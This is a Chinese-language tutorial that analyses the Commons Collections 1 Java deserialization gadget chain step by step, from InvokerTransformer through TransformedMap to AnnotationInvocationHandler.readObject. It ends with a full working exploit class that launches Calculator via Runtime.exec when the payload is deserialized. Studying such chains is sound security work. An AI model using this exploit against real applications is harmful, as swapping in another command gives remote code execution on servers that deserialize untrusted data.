环境

使用Java的8u65版本调试该链

下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

image-20250826002046429

mvn版本:

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

以上添加至pom.xml文件中

回顾反序列化的攻击思路

反序列化的一个基本过程,通常我们需要先找到一个危险方法,例如此处找到的是 r.exec() ,然后找到一个调用该危险方法的对象的方法,此处假设对象为 O3abc 方法,然后去找调用了 O3abc 方法的位置(或者是同名函数),例如找到了 O2xxx ,以此类推找到O.aaa等,最终需要找到一个入口,接收任意对象并执行readObject方法的位置。

image-20251011184956708

TransformMap下的CC1链分析

查找危险方法

该漏洞主要是存在于Transformer接口下

image-20251013225900479

查看一下实现类(快捷键:mac:option+command+B,win:ctrl+alt+B),该漏洞点在其下的InvokerTransformer类下:
image-20251013231330360

在该类的transform方法下,找到了我们需要的链子的重点,一个命令执行的位置,并且其中的输入(方法、值、参数、参数类型)都是我们可控的:

image-20251014171826552

先测试该方法真的能够实现命令执行,通过Invokertransformer执行一个打开计算机的功能尝试一下。查看其中我们需要的几个参数,iMethodName、iParamTypes、input、iArgs

image-20251014174253776

根据需要的参数,传入相应的位置即可:

1
2
3
4
5
6
public class CC1Test {
public static void main(String[] args) throws Exception{
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}).transform(Runtime.getRuntime());
}
}

image-20251014174447361

解释:

1
2
3
4
5
new InvokerTransformer(
"exec",
new Class[]{ String.class },
new Object[]{ "open -a Calculator" }
).transform(Runtime.getRuntime());
  • input:Runtime.getRuntime() 返回的一个 Runtime 实例对象。这是 transform(input) 的实参。
  • iMethodName:”exec” —— 想要在 input 上调用的方法名。
  • iParamTypes:new Class[]{ String.class } —— 目标方法的参数类型列表(用于选择正确的重载)。
  • iArgs:new Object[]{ “open -a Calculator” } —— 真正要传入 exec 的参数值。

以上为止,就相当于我们找到了最后一步我们需要的危险方法invoke,以及调用了危险方法的类InvokerTransform。接下来就需要往前找,哪里有不同名类调用同名transform方法的地方,也就是之前图中的O2:
image-20251014175730876

梳理攻击链

接下来我们需要去寻找,什么类调用了名为transform的方法,进而能帮助我们的攻击链继续梳理。

最后,在Map库下可以找到TransformedMap类,在其中可以找到很多调用了transform的方法,例如:

image-20251014181415314

举一个例子,例如其中的checkSetValue方法,调用了valueTransformertransform方法

找到这个类的构造函数看一下valueTransformer是啥东西

image-20251015011951455

传了一个map,两个Trnasformer,由此可以看来,TransformedMap这个类的作用应该是对一个Map中的键值进行一些transform的操作。然后,因为这个构造函数是个protected的方法,因此应该是只在类的内部调用的,可以看一下在哪被调用。

找到在其中的一个静态方法中调用了构造方法

image-20251015012200352

梳理完后,来尝试写一写链子。其中从我们想要到达的checkSetValue函数来看,其中只对valueTransformer进行了操作,因此只需要写valueTransformer即可。然后其中valueTransformer只要赋为前面InvokerTransformer即可,相当于valueTransformer.transform()等价于执行的是InvokerTransformer.transform()

目前的链子:

1
2
3
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});
HashMap<Object, Object> map = new HashMap<>();
TransformeredMap.decorate(map, null, invokerTransformer);

到目前这步,结合前面的源码来看,已经实现了通过decorate方法对TransformedMap的构造函数进行了赋值。但是我们最终目的是要调用checkSetValue方法,然而,这个函数是protected的,因此需要再来看看哪里调用了这个函数

image-20251015013444026

结果如下,可以看到只在一个位置调用了:

image-20251015013959809

可以看到这是个抽象类,也是TransformedMap的一个父类,这个类中的一个MapEntry类的setValue方法调用了checkSetValue方法

image-20251015014249389

Entry就是Map在遍历时,一个键值对就叫一个Entry,那就可以继续写链来遍历Map来触发MapEntry。

其实MapEntry中的setValue,就是Entry中的setValue方法的重写,正常来想,只要我们来遍历被decorate过的Map,就能走到setValue方法,即可调用到MapEntry中的setValue。TransformedMap中没有setValue方法,因此此时调用的是他父类的setValue方法,因此就可以调到上面那张图中MapEntry的setValue方法的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class CC1Test {
public static void main(String[] args) throws Exception{

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue("bbb");
}
}
}

此时这样执行,会报错:

image-20251015020704840

说的是字符串没有exec方法,这是因为在checkSetValue处,是调用valueTransformer.transform(value)

image-20251015020819370

因此我们需要把此处的valueTransformer改为我们要调用的那个对象,以达到正常的payload,其中的transform中的参数应该是想调用的exec方法的类

1
2
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}).transform(Runtime.getRuntime());

因此,payload改为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class CC1Test {
public static void main(String[] args) throws Exception{

Runtime r = Runtime.getRuntime();

InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"});

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}

成功执行

image-20251015021537758

现在相当于:

image-20251015021916370

同样的方法,再去找哪里的readObject调用了setValue方法,最后找到,在AnnotationInvocationHandler类中的readObject调用了setValue方法

image-20251015022309508

image-20251015022409086

可以看到其中是memberValue参数调用了setValue,上去看一下AnnotationInvocationHandler的构造方法,发现memberValue是我们可控的

image-20251015023107230

并且,因为这个类前面没有写public,一般就是default类型的,那也只有在这个包下才能获取到,因此需要使用反射来获取

image-20251015023350320

1
2
3
4
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhd.setAccessible(true);
Object o = annotationInvocationhd.newInstance(Target.class, transformedMap);

其中getDeclaredConstructor是构造器,其中的两个参数是AnnotationInvocationHandler构造函数中两个形参的数据类型,newInstance中的则是初始化的实参。

但是目前有三个问题,第一个问题是在AnnotationInvocationHandler的readObject方法中,setValue中的参数不是我们可控的

image-20251015024135224

第二个问题,前面用到的Runtime的对象r是我们自己生成的,但是因为Runtime没有继承Serialization接口,因此此对象是不能够序列化的

image-20251015024430397

image-20251015024440637

第三个问题:AnnotationInvocationHandler类中的readObject方法中有两个if的条件,我们需要解决

image-20251015024533452

问题二解决:我们现在是需要一个Runtime的实例,但是Class这个类本身是可以序列化的,因此我们需要从Class入手,得到一个Runtime。Runtime中有一个静态方法getRuntime,是用于获取Runtime的

image-20251015025035993

我们可以使用InvokerTransformer前面找到的那个点,来获取Runtime

首先,通过反射Runtime正常获取流程:

image-20251015030746457

改成InvokerTransformer方法

1
2
3
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"}).transform(r);

改写完后,就是一个可以序列化的版本

但是如果按照前面的方法写,需要反复的去嵌套,因此我们可以用ChainedTransformer方法,把要调用的方法全部写进去,做一个递归的调用,把前一个的输出作为后一个输入:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class); // 传最开始的一个输入,后续的会自动传递

因此目前可以得到的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class CC1Test {
public static void main(String[] args) throws Exception{

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhd.setAccessible(true);
Object o = annotationInvocationhd.newInstance(Override.class, transformedMap);

serialize(o);
unserialize("ser.bin");
}
}

但这其实是理想状态下的exp,目前这样执行肯定是达不到想要的效果的,因为前面说的问题还有没解决的

问题三解决:第一个if,要求memberType不为空。

image-20251015035035078

但是我们之前传入的这个参数typeOverride.class,Override中没有成员方法

image-20251015035354041

我们可以把Override改成Target,Target中存在成员变量

image-20251015035610868

image-20251015035625042

对应的,前面传入map的值,key位置的字符串要对应的改为value

image-20251015035818097

第二个if直接可以通过

问题一解决:根据调试,到调用checkSetValue中的transform方法时,此时的value是AnnotationTypeMismatchExceptionProxy类

image-20251015040705700

也就是前面说的AnnotationInvocationHandler类中的readObject处,setValue中的内容是固定的:

image-20251015040201188

此处我们其实是无法使用这个setValue的,因此就需要另辟蹊径。

有一个名为ConstantTransformer的类,其中的transform方法,无论接收什么内容,都返回iConstant

image-20251015040456975

因此,虽然前面的位置我们无法修改,但只要最后那个点调用这个类的transform,就可以从这里入手,把value的值改过来

修改:

1
2
3
4
5
6
7
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

ConstantTransformer 的特性是无视输入,始终返回构造时保存的常量(这里是 Runtime.class)。因此把它放在链头,就能把任何传进来的原始 value(比如 AnnotationTypeMismatchExceptionProxy)替换成 Runtime.class,后续的 InvokerTransformer 都会以 Runtime.class 作为输入,进而顺利完成 getMethod → invoke → exec 这一系列操作。

最终链(让gpt给加了一些注释):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public class CC1Test {

public static void main(String[] args) throws Exception {

// 1) 构造要串联的 Transformer 链
// ConstantTransformer(Runtime.class) —— 忽略输入,直接返回 Runtime.class(确保后续 getMethod 在 Class 对象上执行)
// 接着的 InvokerTransformer 依次做 getMethod -> invoke -> exec,从 Class 得到 Method,执行 getRuntime,最后执行 exec。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator"})
};
// 将上述 transformers 串成一个链,chainedTransformer.transform(x) 会按顺序把上一步的返回值当作下一步的输入
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 2) 构造一个普通 HashMap 并对其做装饰(TransformedMap)
// transformedMap 在对 entry 的 setValue 等操作时,会调用我们设置的 valueTransformer(也就是 chainedTransformer)
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

// 3) 使用 sun.reflect.annotation.AnnotationInvocationHandler 作为反序列化入口的包装类
// 通过反射获取该构造器(构造函数:AnnotationInvocationHandler(Class<? extends Annotation>, Map<String, Object> memberValues))
// 并设置 accessible,因为这个类并非 public 构造(package-private),需要反射突破访问限制
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationhd = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationhd.setAccessible(true);

// 4) 使用 transformedMap 作为 memberValues 构造一个 AnnotationInvocationHandler 实例
// 当该对象反序列化时,内部逻辑会触发对 memberValues 的 set / entry 操作,从而间接触发 transformedMap 的 valueTransformer
Object o = annotationInvocationhd.newInstance(Target.class, transformedMap);

// 5) 序列化并立即反序列化以触发链
serialize(o); // 将对象写入 ser.bin (serialize 方法需自行实现)
unserialize("ser.bin"); // 从 ser.bin 反序列化,触发 readObject 等逻辑
}

public static void serialize(Object obj) throws Exception {
try (ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"))) {
out.writeObject(obj);
}
}

public static Object unserialize(String path) throws Exception {
try (ObjectInputStream in = new ObjectInputStream(new FileInputStream(path))) {
return in.readObject();
}
}
}

小结

此处引用一下Drunkbaby大佬的小结

1
2
3
4
5
6
7
8
9
利用链:
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject
使用到的工具类辅助利用链:
ConstantTransformer
ChainedTransformer
HashMap